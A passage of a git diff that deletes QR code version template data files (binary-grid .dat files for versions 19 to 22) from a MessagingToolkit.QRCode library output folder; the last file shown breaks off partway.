-00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10010010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11001100000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10010010000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000100000000000000000001000100000000000000000000010001000000000000000000000100010000 -11111110000000000000000000001010100000000000000000000010101000000000000000000000101010000 -10000010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -10111010000000000000000000001111100000000000000000000011111000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr19.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr19.dat deleted file mode 100644 index bd42051..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr19.dat +++ /dev/null @@ -1,93 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000001001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000001101000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -101110100000000000000000000011111000000000000000000000001111100000000000000000000011001011101 -100000100000000000000000000010001000000000000000000000001000100000000000000000000001001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -000000100000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -110111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -011000100000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000001000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -111111100000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -100000100000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -101110100000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr2.dat deleted file mode 100644 index bdb0a60..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr2.dat +++ /dev/null @@ -1,25 +0,0 @@ -1111111000000000001111111 -1000001000000000001000001 -1011101000000000001011101 -1011101000000000001011101 -1011101000000000001011101 -1000001000000000001000001 -1111111010101010101111111 -0000000000000000000000000 -0000001000000000000000000 -0000000000000000000000000 -0000001000000000000000000 -0000000000000000000000000 -0000001000000000000000000 -0000000000000000000000000 -0000001000000000000000000 -0000000000000000000000000 -0000001000000000111110000 -0000000010000000100010000 -1111111000000000101010000 -1000001000000000100010000 -1011101000000000111110000 -1011101000000000000000000 -1011101000000000000000000 -1000001000000000000000000 -1111111000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr20.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr20.dat deleted file mode 100644 index de93b4e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr20.dat +++ /dev/null @@ -1,97 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000001101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000101000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -1011101000000000000000000000000011111000000000000000000000001111100000000000000000000000101011101 -1000001000000000000000000000000010001000000000000000000000001000100000000000000000000001001000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -0000001000000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111101000000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -1111111000000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -1000001000000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -1011101000000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr21.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr21.dat deleted file mode 100644 index 830f6e0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr21.dat +++ /dev/null @@ -1,101 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000011001111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -10111010000000000000000000111110000000000000000011111000000000000000001111100000000000000010101011101 -10000010000000000000000000100010000000000000000010001000000000000000001000100000000000000001001000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000100010000000000000000010001000000000000000001000100000000000000000000000000 -00000010000000000000000000111110000000000000000011111000000000000000001111100000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001010100000000000000000101010000000000000000010101000000000000000001010100000000000000000101010000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001010100000000000000000101010000000000000000010101000000000000000001010100000000000000000101010000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001010100000000000000000101010000000000000000010101000000000000000001010100000000000000000101010000 -00001000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -00001111100000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10011010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001010000000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -00000000100000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -11111110000000000000000000101010000000000000000010101000000000000000001010100000000000000000101010000 -10000010000000000000000000100010000000000000000010001000000000000000001000100000000000000000100010000 -10111010000000000000000000111110000000000000000011111000000000000000001111100000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr22.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr22.dat deleted file mode 100644 index d2f2861..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr22.dat +++ /dev/null @@ -1,105 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -101110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000001101011101 -100000100000000000000000100010000000000000000000100010000000000000000000100010000000000000000001001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000000000000 -000000100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 